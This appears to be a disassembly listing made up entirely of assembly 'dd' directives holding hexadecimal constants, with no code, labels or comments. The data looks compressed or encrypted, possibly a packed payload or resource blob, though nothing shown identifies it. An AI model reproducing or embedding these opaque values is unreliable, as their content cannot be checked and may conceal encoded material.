		dd 4216F23Dh, 7BE0883Ch, 85282CE4h, 0C8F7DC10h,	0A53508E9h
		dd 42300C4Ch, 0CEC2A9Ch, 0E8212443h, 0E4C83490h, 0E0322C64h
		dd 0DC0C3C19h, 68618086h, 0E29AB108h, 38100CAEh, 467C4CEBh
		dd 747008A7h, 73E6BE67h, 0EB0230CCh, 12B0B853h,	0CA96FC68h
		dd 0A6AF11A1h, 991275C5h, 93BC2BBEh, 8A25287h, 2928F045h
		dd 24428B7Ah, 0F018C428h, 5F622A48h, 2147755Eh,	9263FC25h
		dd 1229FB13h, 0EF4AF5BDh, 0E2EB9406h, 95ECB513h, 25053420h
		dd 98FB2768h, 42FACC88h, 0F916A1F9h, 0FDF818EEh, 52486888h
		dd 0D02AEC9Fh, 0B7BF2724h, 0F7A5DA51h, 0AEF029h, 47451D1h
		dd 7FD9210Dh, 6318548Bh, 20797482h, 2F40528Ch, 0FBE14E7Fh
		dd 7F984426h, 28688871h, 8FBEB0D3h, 0D4E8149Dh,	0F14CA81h
		dd 0BE1C2FC2h, 52FAB885h, 7A90803Fh, 84068B2Ah,	2D73B55Dh
		dd 0E804CA21h, 9BEFCD41h, 4CB773DCh, 0B2744B36h, 0F7288B3Ah
		dd 464C290h, 681CB08Ah,	0F39F4EB0h, 0A14A129Eh,	40CA8EBBh
		dd 0FA863E26h, 0AE53D62Bh, 6976CC22h, 0A154145Ch, 0DEB0C05h
		dd 0A9891A32h, 954C7013h, 7043AECEh, 0AFAFAA14h, 1B34BED2h
		dd 0B16D1321h, 20A22F0Dh, 469FAC10h, 0B6651318h, 0BAA464B8h
		dd 0B6FD1D12h, 0AF089492h, 0B4513814h, 326ECABBh, 13186EEAh
		dd 10600E23h, 9C688538h, 0E8FCC630h, 4AA0487Eh,	4C036AD9h
		dd 8FD07BE9h, 5DE8C223h, 68C2E6A0h, 68441B5Ch, 0E8A012F4h
		dd 0CC0EA56Ah, 0F3ED15Ch, 4BEAE2CAh, 38478FF8h,	60A3FD13h
		dd 0ED840F7Dh, 948AA39Ch, 0E2511B9Fh, 197B751Ch, 77C7072Eh
		dd 0E94D02DAh, 883084BDh, 0A85B23Ch, 0A122C70Fh, 97E90AE6h
		dd 0F2801026h, 0D58148Ch, 83104A9Ch, 73EB814Dh,	244B7468h
		dd 7008877Dh, 684F58BCh, 44210FE3h, 16763EC2h, 60682B10h
		dd 211C20F2h, 3B6A778Ah, 0A024042h, 0AC581015h,	0A2E28618h
		dd 441BE885h, 154475CDh, 586CC5F2h, 1030A18Fh, 1548A59Dh
		dd 26845E58h, 0A9907742h, 89C18610h, 84153458h,	84534324h
		dd 542DBB5Bh, 2F242C15h, 21291D87h, 24A1156Ah, 0CD390B64h
		dd 15520B76h, 42082B24h, 60119F5Ch, 0A146E00Ch,	0BC157517h
		dd 2C3BCA30h, 73AB7493h, 2CF56846h, 6F87B42Ch, 44D388D0h
		dd 87883C54h, 0DDEB7764h, 2C8C44A4h, 11855C2Ch,	473A112h
		dd 427EEB01h, 299499FCh, 72B23343h, 52685510h, 0AC8524Ch
		dd 2C764276h, 0C85AC02Ch, 8CB2AA95h, 79F4452Dh,	16FC17EBh
		dd 4CE05633h, 69864033h, 594E90BAh, 0B45E43B6h,	0D29D6C98h
		dd 956E9F6Ch, 5A4AD098h, 73E88420h, 0D46DB79Ch,	63F84412h
		dd 4E4DE893h, 632FAEF7h, 797D6DE2h, 184421Dh, 0B7906010h
		dd 0F809F166h, 0F49FB468h, 0C93CE267h, 11C68422h, 2FA10C14h
		dd 70FCE974h, 28832EEh,	0D89D464h, 0F3E6E820h, 2B39B4Fh
		dd 11410C20h, 0E92A22DBh, 0C15BDE43h, 149FD045h, 28CB134Ah
		dd 6C371064h, 2BCAE678h, 8CE28B6h, 4313A2DEh, 82E91CA3h
		dd 7CAE5A38h, 0C00F6B91h, 89B8830Ch, 9B9A75DAh,	6F613461h
		dd 53ADDB16h, 5589FC0Ah, 3DE2B9E2h, 3112B0FFh, 180D5B98h
		dd 44864418h, 0B28743E9h, 1819489Ch, 12FE2759h,	0D1C8719h
		dd 45834B08h, 783E0835h, 22270BAAh, 6ED4BB6Dh, 81025058h
		dd 18A26E57h, 89077C8Ah, 55D68045h, 71349612h, 335510AAh
		dd 8B2F54Ah, 47AE7F3Ch,	0A06514EAh, 50FB3F21h, 15C8586Fh
		dd 44B654Ah, 0EB528F0Dh, 5F919CCAh, 9A7BE809h, 4D133B19h
		dd 0CAEC2C10h, 67B11566h, 0AD1DF018h, 59005612h, 0FC335C48h
		dd 42F79686h, 3E129A33h, 0A80787BCh, 27A3849Dh,	0DCFE059Ch
		dd 99440CC5h, 0AE60227h, 8C6C2128h, 6816289Fh, 94469D09h
		dd 0B8056F21h, 6AD64F69h, 78D9B62Ch, 42BD8311h,	405F0406h
		dd 0D6996212h, 92F72210h, 912078DAh, 0B4E8C498h, 0A4095FFDh
		dd 0D610FFB1h, 68341375h, 1661A3FCh, 58479986h,	0A4A0D374h
		dd 4D13953Dh, 10C78425h, 95FDB0B0h, 88C74C1Bh, 6CA8D753h
		dd 0C18BD836h, 2643B69Ah, 0AFED5A74h, 1AF86823h, 20BD81ABh
		dd 0A0F6C557h, 0DEF44216h, 0F0E20190h, 0D4A58321h, 45225A46h
		dd 83F32FE0h, 42BCE3DFh, 0A51583CAh, 336FBAFCh,	0D46662AAh
		dd 6A2BB0DDh, 2F41E45Ah, 8D647CE8h, 700C5054h, 5F56D18Ch
		dd 0C0940F07h, 2FE0B348h, 872D64F7h, 0AB50A557h, 0C64B4A2h
		dd 5D6A46D8h, 0FE782210h, 0D145B6Ah, 556816ECh,	68239AD8h
		dd 3898921Ch, 828B3440h, 684318DBh, 6E55E6E1h, 98512FBDh
		dd 0C800646h, 7D8B3306h, 1C688C4Fh, 0C42D272Ch,	982A21B5h
		dd 32DF866Fh, 0BDE09F19h, 61A6DA70h, 111D0D55h,	1432C30Bh
		dd 4A30A44h, 7AF56175h,	23245903h, 0D9E80B0Ah, 95516497h
		dd 7A72F5F4h, 0FBB72E1Ah, 0C935C585h, 2A07F954h, 0D2E8B353h
		dd 4DEA6010h, 3263846Eh, 2FF7582Ch, 18DFCA2h, 85DB3225h
		dd 42027D30h, 0B874A310h, 0AE31E112h, 0BD65034h, 1C3D5183h
		dd 0D20DAAC3h, 68E87F32h, 16CFC9FCh, 7F5CB330h,	58813657h
		dd 6DCD4E39h, 0CBC1A47Ah, 0BECA470h, 88A11594h,	7D10891Ah
		dd 0B8924C65h, 934591EAh, 79CC7E97h, 2AA0411Ch,	0E8C68DA8h
		dd 0AFB9291Dh, 10F4D03Fh, 0BF9B5395h, 6166B8B8h, 5031282Bh
		dd 584318Bh, 99E12B49h,	0D1B91008h, 82146805h, 59EC4328h
		dd 0E907D96h, 0F14EAE88h, 19C920D5h, 8B687974h,	2872AC7Bh
		dd 920CFC19h, 3B459646h, 52908E0Bh, 481E8B8Ah, 0A342194h
		dd 549498F0h, 58571884h, 2B0E4294h, 43BF941Ah, 0A87E50DFh
		dd 0FA4DD374h, 50DDACFh, 94136AE9h, 7717F8B8h, 1B21B834h
		dd 872009C2h, 50C4C00Ch, 0D710469Bh, 76EBA195h,	87022C5Ch
		dd 0ABF25810h, 0C84A421Ch, 0F487103h, 1EC57F21h, 1E282062h
		dd 4AD15F42h, 30909F22h, 9F822B53h, 0B5620C14h,	963C8682h
		dd 5936443Bh, 0ACF522E3h, 0D097428Fh, 8738FC57h, 4994DF88h
		dd 0CC232036h, 0E88E4794h, 7CF9215Ch, 1D2704E4h, 0C9C024Dh
		dd 0E0299014h, 210BE110h, 70F5A9FBh, 1F8D9463h,	9071A125h
		dd 512D694Bh, 0BA8A27FAh, 71E84060h, 7A717C95h,	0BC114C7Dh
		dd 20851C72h, 45D1E82Ch, 0E78F16A7h, 8F323454h,	6C56D66Ah
		dd 0C05E153Ch, 2D010E9h, 121F681Ch, 0F932AA0Fh,	0F417ABBCh
		dd 0E8C26E3Ch, 0C6DF93B3h, 5D06B2FEh, 0BA4C74C8h, 8DF3ECC9h
		dd 12C9680Ah, 125D6573h, 568AEEB8h, 0E89571DCh,	0DB47464Eh
		dd 58E6D1B7h, 64437DF8h, 157523C0h, 30E4396Ah, 2BD3E817h
		dd 3F7368BAh, 2BE23A5h,	42E83175h, 0BDEB662Ch, 0A7954179h
		dd 5113A22Ch, 159215DEh, 2E7B8DA2h, 127F52Ch, 0A174682Eh
		dd 1491462Eh, 0EA2DD0FFh, 1720B196h, 35FC1044h,	0E8376C31h
		dd 0F1C86A2Bh, 0C16E5FE9h, 4D6468B3h, 0E8388A2Ch, 64CA2DBDh
		dd 211B5314h, 38A2C45Ch, 54438438h, 0FE78788h, 8EEC3634h
		dd 0A5251488h, 0D2729C8h, 0C9FE4034h, 3CD707A3h, 68881640h
		dd 103AAC4Ch, 0B14DE80Ch, 101C0150h, 95A173B7h,	10822744h
		dd 4B1626E8h, 95269929h
		dd 97311F48h, 1B2A28ACh, 12184009h, 0F21C7086h,	204C8609h
		dd 0C8A852Dh, 19398777h, 2791225Dh, 20B69877h, 919722E8h
		dd 7CAB5AB5h, 0BC449749h, 21437ABDh, 7709FDCCh,	32DA6591h
		dd 6419ED26h, 0A57E830Ch, 9A6A2A95h, 0DCF133B3h, 772B7B22h
		dd 0FA6BF111h, 5EA28C71h, 95E81810h, 3117AB93h,	0E1DDA3B8h
		dd 0C078B15h, 2208E8C1h, 460DAEC0h, 47188810h, 88AF568h
		dd 1065B878h, 0B3185F4Ah, 1C9406C8h, 730DD11Bh,	7A89B6A7h
		dd 62F3DC4Ah, 0A0B0B94h, 0E3706A01h, 4A9E8C94h,	0A1162C14h
		dd 75189337h, 71223E5Ah, 0D1D9D41Eh, 0B551B008h, 0BCF954E8h
		dd 15EB40ACh, 63B1F868h, 1769E81Dh, 0ADE3D10h, 86A2AE9h
		dd 7959A0E0h, 0D860650Ah, 8FE1674h, 114971C0h, 12351886h
		dd 434150C9h, 8633F8FAh, 0D40A4478h, 37CAA042h,	11EF6A42h
		dd 58277FB6h, 9A26EDB7h, 89FDF1FDh, 23E4E67Dh, 47108F7Eh
		dd 218EAD84h, 0C008FC70h, 1690A747h, 0A28FA285h, 0B2EF10E4h
		dd 21E4E3E3h, 0E319F81Ch, 0D4EB29C4h, 11FC9471h, 9D7FACB6h
		dd 0D6A36FDEh, 5E4344Fh, 0A303E810h, 0F41640CEh, 121BD85h
		dd 7AE4E6C9h, 9C778690h, 0E3A09F8Dh, 0E7219C1Eh, 0A4E7D8A0h
		dd 9890E798h, 87279878h, 88238C1Fh, 215EFC90h, 941DFC98h
		dd 0FD3408A3h, 87FC7050h, 7F1077ADh, 8E5AABE8h,	2DEBE721h
		dd 16429968h, 0C0B47188h, 29240E61h, 10D6114h, 29BCDBFBh
		dd 0D5C4A53Ch, 18D08CF9h, 8ECC0944h, 92F682B0h,	61135A8Eh
		dd 0CF64924h, 8F037E9h,	0F81C8951h, 2D293F56h, 31E4095Ch
		dd 13582C65h, 0A4D1B149h, 374096A4h, 3A6398CCh,	0E27BD75h
		dd 99C4DF29h, 0F0CEB29h, 0F1200E21h, 0B4680680h, 3BE8C3C5h
		dd 847E9A62h, 0CD38B072h, 0A26A914Ch, 555D44BFh, 43B1721h
		dd 23FB4C19h, 64AACD93h, 8C0F5632h, 26FD6178h, 28134210h
		dd 0DF215CA4h, 91DB25F8h, 0DDF8C9E2h, 51706FB1h, 47F1144Ch
		dd 0AE66D406h, 5674F28Ch, 8E13183Bh, 0C4A73463h, 9853622Dh
		dd 0EB0C8C11h, 4B261353h, 0E612E8F3h, 4262A78Ch, 6162C82Ah
		dd 3A07A5E9h, 0E1D9DA50h, 751890F4h, 0C75F104Bh, 26F1B4CAh
		dd 90887F90h, 3E1DCE71h, 35D72DB8h, 5720C2B9h, 8E8C2885h
		dd 7ADA2AD3h, 0FAB904BDh, 66A1012h, 84312640h, 73D101E0h
		dd 0A7402B19h, 0F99B5B8Ah, 8DA94CE5h, 0E8381C46h, 0C959672Fh
		dd 47F5794Ch, 42274306h, 0A20233Bh, 141ED7E9h, 26E2A884h
		dd 9B3A7538h, 0B385B206h, 3F274512h, 142621D6h,	0E7AEEA10h
		dd 0E942F8B3h, 802C8587h, 52405028h, 0F896F88Eh, 6818C927h
		dd 0B90E7477h, 0E9DABC9Bh, 51C49999h, 6E132914h, 868816C8h
		dd 0C4431383h, 0DCDB4408h, 881F0949h, 0B528B944h, 3A248C06h
		dd 1BD338E8h, 0C20F1EF1h, 14907D28h, 0CAB82022h, 8DF81E84h
		dd 0A182AA3h, 0F04E0108h, 0EB29848Ah, 80C21A11h, 0AE150E64h
		dd 0B28462A7h, 3CAC90FFh, 0FB0582F8h, 67EA517Ch, 0B6B6B2CFh
		dd 39D67E8Dh, 0D138860Eh, 0ECF7C451h, 7EEB0220h, 76500FBDh
		dd 40CF0DE6h, 0C6FBDD30h, 7260841h, 100CCF5Ah, 0C884F844h
		dd 0F22748Ah, 0A3995C23h, 0ECA54985h, 0A7F6433h, 0A1068B79h
		dd 3DDC255Ch, 4EDA44Eh,	258BECB9h, 1C4DE014h, 1352DE87h
		dd 4727DE2Ch, 0BD94508Eh, 5477044Fh, 89B5C029h,	4F2DEF41h
		dd 53BC1A9Bh, 0F211958Fh, 3875848Dh, 0AA4B84F7h, 1C15DC4Dh
		dd 81F58D15h, 889FF82Fh, 2C53A603h, 180A5237h, 0A27C1D24h
		dd 6856EB09h, 56329C74h, 3B214EA4h, 9016465Ch, 48018818h
		dd 0A22020BEh, 429297Ch, 6A34FE4Ch, 348640CBh, 0CFCED4B5h
		dd 0A2E19D31h, 0EE5ED606h, 40098023h, 2B0F0F98h, 24184D75h
		dd 81043C43h, 0F288C4E8h, 302C2975h, 0A40977CBh, 8D2C3B04h
		dd 0A0C42AEAh, 9517BB22h, 37C6181Ch, 6957EB01h,	774D4019h
		dd 0B230428Ch, 4AFB3430h, 0A45D921Ch, 23988560h, 920B4A17h
		dd 0E1055525h, 2710B589h, 8C4943E8h, 1609C961h,	4F619E53h
		dd 0C7084A9h, 0EA9885Bh, 30F7E5DCh, 8474A5FBh, 608125D2h
		dd 891387D4h, 486380DAh, 7A730399h, 231EE024h, 0F2BA22F5h
		dd 53202894h, 43C548F8h, 1B385FEBh, 4B5384FDh, 5FE8812h
		dd 6C39752Dh, 7F247A3Fh, 7411C427h, 13F51CD0h, 85E6E12Fh
		dd 3E883B7h, 0D6025D0Ah, 95517991h, 93309C0Dh, 0A9048AC8h
		dd 79C78A28h, 4107838Ch, 0BC310646h, 25A93CB4h,	0D424541Ah
		dd 91E34A92h, 35887268h, 1855801Dh, 728A0439h, 755B7553h
		dd 65413452h, 3D652412h, 8101AC1Fh, 86CAE8FCh, 0BB5982C3h
		dd 8A4CC833h, 0A9D4B6FCh, 0CA68482Dh, 20808A8Ch, 7914E40Fh
		dd 8248602h, 90DE81Ch, 0AB1441E9h, 0E8611E96h, 0AB278A98h
		dd 4EBD312Eh, 856A0CEBh, 49AC070Ah, 0ACBF64D5h,	8BFC97D4h
		dd 20ABC465h, 2E91CF5h,	245AE2BCh, 8042F4E6h, 0C69024A5h
		dd 6A967068h, 5C593C59h, 81D6C6EDh, 94E9011Dh, 0CC7584C3h
		dd 0C14A91D3h, 9B211A8h, 72EB2598h, 0C9223FA6h,	4B4A085h
		dd 11615377h, 922DB821h, 44B368DFh, 14D09201h, 1C457525h
		dd 41729CC8h, 0E8000196h, 27B51E6Dh, 56C96AF4h,	89420244h
		dd 0F9E52095h, 2ACEE88Ah, 12683B1Dh, 74077C29h,	88A82A0h
		dd 0A48B1A7Fh, 78671007h, 0C3BD21D4h, 18B246A7h, 0A41194B8h
		dd 855A9BE8h, 912E87CDh, 16EE740Ch, 12B8460Eh, 0CCEBEF78h
		dd 925EE070h, 0B5B27C24h, 3DBC9E66h, 8919E813h,	7CB1C7E8h
		dd 0F97C0EE9h, 85198614h, 1BB21992h, 0A7CC5AD2h, 99024AB6h
		dd 0D9400CAEh, 740E8846h, 5674681Ah, 3988C3A1h,	14EACE13h
		dd 24C42147h, 9FDD10C4h, 130DC855h, 9A36D085h, 0C7309434h
		dd 0E99D6F3Ah, 236C6912h, 8913AB53h, 0F13AD502h, 2D5A1212h
		dd 0DB057C2Fh, 1782144Ch, 1F9450A2h, 18029027h,	84EE7031h
		dd 24300682h, 853ECE8h,	7D2F11Bh, 30F0809h, 608021A8h
		dd 6A271890h, 0AC20700Dh, 84C47751h, 3BAAB57Eh,	86E80D01h
		dd 105A2691h, 0B888A17Ch, 32862942h, 74DC9C0Bh,	0CEEE6C62h
		dd 1AE6F3BBh, 490D0708h, 38ABAB8Fh, 4296DD72h, 9C126A14h
		dd 0E8C33490h, 89431E02h, 0B81AD913h, 4CAAA558h, 1CE2BABDh
		dd 7E2236B4h, 7B5B951Dh, 1C18EB0Ah, 2C0962D1h, 43E6942Eh
		dd 789B4023h, 988115FFh, 919EEB4h, 232F2A5h, 86BD8107h
		dd 0BD338006h, 0A479763h, 0A4033D83h, 2150BBB4h, 0C7183F75h
		dd 5AD5782Eh, 5A42E21h,	0BF55447Bh, 1B2956F6h, 5408CB35h
		dd 2F9C2606h, 25822E78h, 0F79F1B1Dh, 0BA75CBE3h, 5B8CD76Ah
		dd 652C806Bh, 7788F2FBh, 54EFA4EFh, 3E07F852h, 0D6F6CC7Ch
		dd 0EF33C805h, 51B21EECh, 5E596A57h, 9C756B4Bh,	17ADCDF3h
		dd 0F6E8FC54h, 0D1BC915Ah, 0A43B0CD0h, 0D75BEB44h, 81B8A5FCh
		dd 31276482h, 80210C73h, 29C4CAA0h, 56E4EB27h, 73B9FB51h
		dd 9F041515h, 12D28C80h, 3854748Ah, 5EEB29D0h, 0B4FFACDEh
		dd 81698FC1h, 8251A23Eh, 1077302h, 660164E9h, 8D954FC3h
		dd 2054C9BFh, 27D24D3Ch, 0F88EFFF2h, 735C3BECh,	58A81E5Eh
		dd 5682BFA6h, 55ED62F5h, 24BE3ED9h, 54A51FFFh, 0A15EA5BFh
		dd 2964217Bh, 10D5C25Ah, 17498A32h, 0AAC80AFFh,	48883731h
		dd 85DD3D43h, 488702Bh,	15C2AAD1h, 503B02E4h, 6DA57078h
		dd 650E0651h, 6A684060h, 60A18523h, 64686A4Ah, 3434D573h
		dd 0E19C26FAh, 0A2854848h, 0BD6C4E80h, 0EA6DF451h, 0F412AC0Bh
		dd 88BC318Ah, 94F27A01h
		dd 0FFD16A90h, 30AF8339h, 8B230054h, 20751041h,	0C2678B1h
		dd 0D33C4B01h, 13CED4EBh, 6161B220h, 0F9C109CDh, 1DE18A9Eh
		dd 0F16BEB0Bh, 153C0202h, 0EBBC1D91h, 0CA685E56h, 83F46506h
		dd 3FC429F1h, 741CDA21h, 0D8127999h, 0B7564036h, 0C7A7C3D3h
		dd 7E9D08B1h, 0D52A42DCh, 0B359D6D4h, 383FDB9Eh, 0BFC941A4h
		dd 99C7DDCBh, 3AF19D28h, 2F8D51F0h, 2E78A845h, 79BBABB7h
		dd 4510A291h, 4E892E4Ch, 0EA8402F2h, 0F17BE807h, 0A88D1DC2h
		dd 106A000Dh, 0D2088A5Ah, 40E888C1h, 0F6754A13h, 0BA9617EEh
		dd 7C08E22Ch, 8AC2C533h, 0E2C2EE0Eh, 7261011Eh,	20B17B03h
		dd 0BA7F8143h, 8A8648C1h, 7C3BA389h, 13C07F16h,	0AFDCEB46h
		dd 830BBD2Dh, 0E1039F11h, 210E03C9h, 4CD0898h, 0D053565h
		dd 851FFE8Bh, 0AA34AC01h, 0A221C002h, 854BE2D5h, 5C1A5124h
		dd 8D0F0C09h, 0A7BA5F97h, 2C81BA43h, 7F766A33h,	8B99633Dh
		dd 124EF9F7h, 0D504CCC3h, 8DEB0D65h, 560AFFD6h,	2C11042Ah
		dd 0BDD0F27Ch, 328AB8D3h, 0D74B32C8h, 200CC0A5h, 2E2C124h
		dd 32216EACh, 4712C8C2h, 0E950A804h, 213C9456h,	143D4B6h
		dd 0BE96691h, 0F87FA4A8h, 0B6480223h, 532E33E4h, 0C4D85E95h
		dd 2BFE4381h, 1FC7185Dh, 0C6517188h, 0CC5F1592h, 0E2E8122Bh
		dd 83E0377Bh, 0BC8514AAh, 6E17D033h, 7DEBD612h,	7D0D537Fh
		dd 144899DDh, 4176CA9Ch, 3213189Ch, 0A2D72D87h,	0CA2DE8CEh
		dd 1A4E5D26h, 0EB1345D8h, 5E3792B1h, 0D088AD48h, 50FB4E09h
		dd 10EF56BFh, 0B3AC7DD7h, 4FA15E9Dh, 0C29486Ch,	0FD51BDAAh
		dd 99D2F56Eh, 0E944E82Ah, 0F21F075h, 642A7D9Fh,	44191B16h
		dd 15EB3FCDh, 42602BFCh, 0C8652178h, 138C569Ah,	0EB912A43h
		dd 21560FB9h, 0B345FE0Fh, 0C7099C3Bh, 237E01E0h, 6A096751h
		dd 0CDABC0C0h, 0E80AABEFh, 43BADCFEh, 760C0298h, 23103254h
		dd 0AB76083h, 12149C07h, 4019385Dh, 0A8751055h,	8D1B3842h
		dd 0FBC1C104h, 1822E541h, 0D73023Bh, 0DA140BA7h, 4FE1BB18h
		dd 0BF1DE8C1h, 2649BE19h, 6A4AC003h, 0FFC2932h,	0FF4E84B2h
		dd 9568E99Ch, 18E4817Eh, 58406A42h, 125142DFh, 16510463h
		dd 0F86870ABh, 795A72E8h, 843838A3h, 820CD5Eh, 0A68C5C16h
		dd 131843A5h, 0E5A301C6h, 0A4DB554Ah, 0BB529368h, 4023DC6Fh
		dd 0C2683572h, 4C92E72h, 0CBBF79DFh, 8D726497h,	40389429h
		dd 6EE69439h, 0C5EBC513h, 0B1368550h, 220D78E9h, 0FDAADE2Eh
		dd 624D485h, 32284249h,	706B44CEh, 18805DC6h, 493F6AC5h
		dd 0D130F8DBh, 0F09F7308h, 35FC958Eh, 0B226CBA8h, 1A5A5578h
		dd 45261C2h, 686A894Ch,	62154038h, 24908EE8h, 0BFD014EBh
		dd 50081495h, 0CF78883Ah, 8A2708AAh, 0BB075010h, 0A355C67h
		dd 0C2B2F152h, 0B3B9551Ah, 6A214814h, 95480451h, 0B4D1303Ch
		dd 0EB135CF7h, 4D76CB10h, 0E5284ADAh, 0EA664E73h, 8104AF31h
		dd 4856A22Bh, 1635E477h, 194369BCh, 711A418Ah, 2211B10h
		dd 0D46D18E4h, 0E39682EBh, 0B28C50C4h, 0B045288Dh, 0E6223D8h
		dd 4A52A0A6h, 7598326Ch, 0F415CEF1h, 400C2009h,	236CF8F0h
		dd 78F7941Fh, 0BF8EBD1h, 7E0369C1h, 184B110h, 6AA47809h
		dd 0C19930D7h, 27076EE0h, 3C19E9C6h, 134C15B3h,	34A5DA23h
		dd 22F43A04h, 41F004B4h, 0E8C7B756h, 74DC5A57h,	7427D90Ch
		dd 11040914h, 9226994h,	0FDCF9323h, 44F83A08h, 82F408B8h
		dd 242070DBh, 74EE9D9Bh, 7427116Ch, 1183840Fh, 9F04829h
		dd 4081231Bh, 84FC3A34h, 88F8BC40h, 0BD7DCEEEh,	74337893h
		dd 74276416h, 111A240Ah, 0B6EAF548h, 0C011E817h, 7C0FAF81h
		dd 0C4F20FF5h, 21C62A30h, 46FE4787h, 461304C8h,	0C83FA830h
		dd 9522CECCh, 0E41FFD46h, 98D860D0h, 0FC694380h, 0AF1E8CD4h
		dd 0FE6144F7h, 0B125D846h, 0E8214A76h, 4DC46FEh, 895CD7BEh
		dd 0C0E0C83Fh, 6B901122h, 18E4F987h, 98711093h,	0E823FFFDh
		dd 79438E02h, 0ECE41FA6h, 0B4082160h, 0E9F64947h, 66321DFFh
		dd 6282FC88h, 94F61E25h, 210543E8h, 0E97F531Bh,	447E918Eh
		dd 0B34047F0h, 0E828C025h, 17428609h, 0E35C5FA5h, 0F44496A9h
		dd 5E5A5141h, 21E84A26h, 0A912900Eh, 0EBF85C57h, 0F8444E14h
		dd 0B6C714AAh, 14A2E8E9h, 0A20A0C19h, 105D30C4h, 0FED62F21h
		dd 5304D846h, 3F024414h, 81C0ECC8h, 87D8A1E6h, 0C818C0F9h
		dd 0E7D3FB10h, 2D423FFh, 21E1CDE6h, 60E8E41Fh, 433707D6h
		dd 8CBCFCC3h, 0D50D871Dh, 0D046FEE1h, 5A14ED0Fh, 0E423FF70h
		dd 0E3E90502h, 0B8E41FA9h, 0EFA3C167h, 0CCF20FFCh, 2102D930h
		dd 46FE676Fh, 4C8A0EE0h, 0F1FDD12Ah, 612B233h, 82B165F0h
		dd 0FFFA3942h, 21044314h, 33E2531Ch, 0A34E36AAh, 0F68102DAh
		dd 43148771h, 5315210Bh, 36A933E2h, 22088B96h, 516D9D61h
		dd 15DA0D10h, 368A9620h, 0CC30284Ah, 0E521380Ch, 321744FDh
		dd 0B4913509h, 0BEEA4481h, 0C0A20EA4h, 21CFA930h, 46D44BDEh
		dd 4B5004CCh, 883AF6BBh, 0BC70C0D8h, 5187BEBFh,	10C618E4h
		dd 0EA289B7Eh, 0FA02B023h, 1DEAA127h, 8560BC44h, 0D443EF30h
		dd 88CC8A8h, 4881D05h, 87D41175h, 0D994D039h, 0C0E0883Ah
		dd 0E6DB99E5h, 19EC5187h, 43A27CE8h, 8CB8A81Fh,	0AC566508h
		dd 12B0FEC4h, 0B0A44B1h, 162D3DC8h, 22441F6Fh, 644E129h
		dd 14151A32h, 847E39F4h, 0CC2BF842h, 0FF9702D8h, 4314432Ah
		dd 5116210Ah, 0E83947F8h, 0B624FC44h, 23A704B5h, 0F28AB94h
		dd 0A2114286h, 0D0398FFCh, 0C445F088h, 0A039E460h, 88FC4293h
		dd 7F0B6415h, 0C302E023h, 1F655B59h, 9260BCC4h,	8F430CCCh
		dd 758CD8F8h, 0FFEF217Dh, 1DB446FCh, 85105DD1h,	88C7DFEh
		dd 6FA87E4Fh, 81EC117Fh, 0FE2CE6E0h, 0C388E70Fh, 0A39A4314h
		dd 60E4C41Fh, 430811A1h, 8CC0F84Eh, 537E8208h, 0DC117FF7h
		dd 3AF23581h, 0B8E20FBDh, 21D2BB30h, 46FC2AD7h,	0D39104D4h
		dd 4A7FEB86h, 0A7B82387h, 513489F7h, 9E45BF28h,	0F6A411Dh
		dd 0DD51A7F3h, 1F34C833h, 0F52E10Ch, 41A805B3h,	51618B97h
		dd 1744AD1Ah, 14913C0h,	0A208E1C1h, 20F3987h, 0ED1E1002h
		dd 30131802h, 4D05594h,	0A74FEB8Ah, 0BE4B3BCBh,	6AF0A702h
		dd 0E25BF701h, 2415FF04h, 0EA38F4BEh, 9F046A80h, 20500AC4h
		dd 918FB010h, 3CB8F2B4h, 270B98D1h, 4933F11Ch, 50B7A8F8h
		dd 5705508Bh, 0AC35003h, 8EF84B0h, 0C24284B4h, 0C615B821h
		dd 59C7C828h, 0C4210BC5h, 67F2E841h, 3AFA673Eh,	0C82FC831h
		dd 0E353C82Dh, 1996D3CBh, 0C9411D54h, 192ACBF9h, 0CA7C570Dh
		dd 151994E5h, 0C07E7A3Ch, 554CC86Ch, 0C18117C9h, 0F193F111h
		dd 1CA5F2C2h, 0D4822B8h, 591D5099h, 0A8340560h,	18E8E1BDh
		dd 5FD4D12Bh, 75650467h, 32B7B49h, 0D5D233D4h, 0ACA954FFh
		dd 8571B77Ah, 0FEEBE8C1h, 0F4325B90h, 84CE1D38h, 77411547h
		dd 434BA23Bh, 42AC8822h, 0B03166F3h, 423CC20Dh,	91D1238Ah
		dd 25B85FACh, 0AA4E2046h, 0FC505F62h, 31D6C67h,	0E81E760Bh
		dd 9FE6F262h, 0EA018E05h, 81F8DE34h, 0EBEC12A6h, 8B88DC5Fh
		dd 7638A008h, 77E82A1Ah, 8B88FC2Ah, 55F6ABADh, 9DE02640h
		dd 0F572BE56h, 0AF4D8E24h, 0DA06E2E4h, 1F8F3E41h, 33CD073Bh
		dd 0D98C59DDh, 84613BC9h, 0AC7A2276h, 1CB2CA90h, 0FC445BA3h
		dd 0D8EB0F5Dh, 0F7F8163Fh, 7FAEC974h, 7471BA0Bh, 0FFEBD8E3h
		dd 8C051E8h, 0FFEC38DCh, 6EFB35C4h, 950DF128h, 0E2AA2148h
		dd 0F08AF75Bh, 20BF5Ah
		dd 487FF883h, 3B250F7Eh, 0A7341F7Fh, 6BF52570h,	0A3EE73Dh
		dd 0A75582EFh, 0CB958AFBh, 5518B74Eh, 1B78B8E1h, 6AE8AC40h
		dd 160ADD65h, 0A77D0B48h, 3EE1B0D5h, 4D5729E8h,	885DAFE7h
		dd 0F3C41386h, 882EFD52h, 38D7A5CAh, 8AE48CB9h,	715D2412h
		dd 76A02B9h, 4AB2A868h,	58BF1DEh, 0C7335F46h, 2085C6CBh
		dd 0C2B0FF09h, 0B6FFC2E1h, 1F0621FFh, 0F6892009h, 76F44992h
		dd 8B60D5CCh, 7E8CA5F1h, 639E62EDh, 81280720h, 686206BDh
		dd 0D51A7DB7h, 6ADDCD92h, 0CD05D544h, 0A817128Dh, 0F943035h
		dd 66ACDEBh, 0A8A0680Ah, 8021CD41h, 641308FDh, 0C2AA0C44h
		dd 16A4F083h, 6354378Ah, 0EE680461h, 0E70C8E19h, 0EC58C88Eh
		dd 0D132C664h, 21E44316h, 0C2BB91CAh, 1994680Bh, 8CA50CCEh
		dd 61E6B82Fh, 0D9552B25h, 4AF74FFh, 43E488D1h, 0F468186Ah
		dd 0A2852888h, 8182D70Eh, 7011F48Ch, 16093549h,	89DB0A3Eh
		dd 446A8709h, 7CA8A568h, 3F8F442Ch, 2B2039C7h, 33642990h
		dd 818E2078h, 554AACC5h, 6C62EF84h, 422CAE04h, 35C3E2E0h
		dd 97B8D810h, 2EDC448Dh, 58F16B21h, 5ACAD94Ah, 1C58D129h
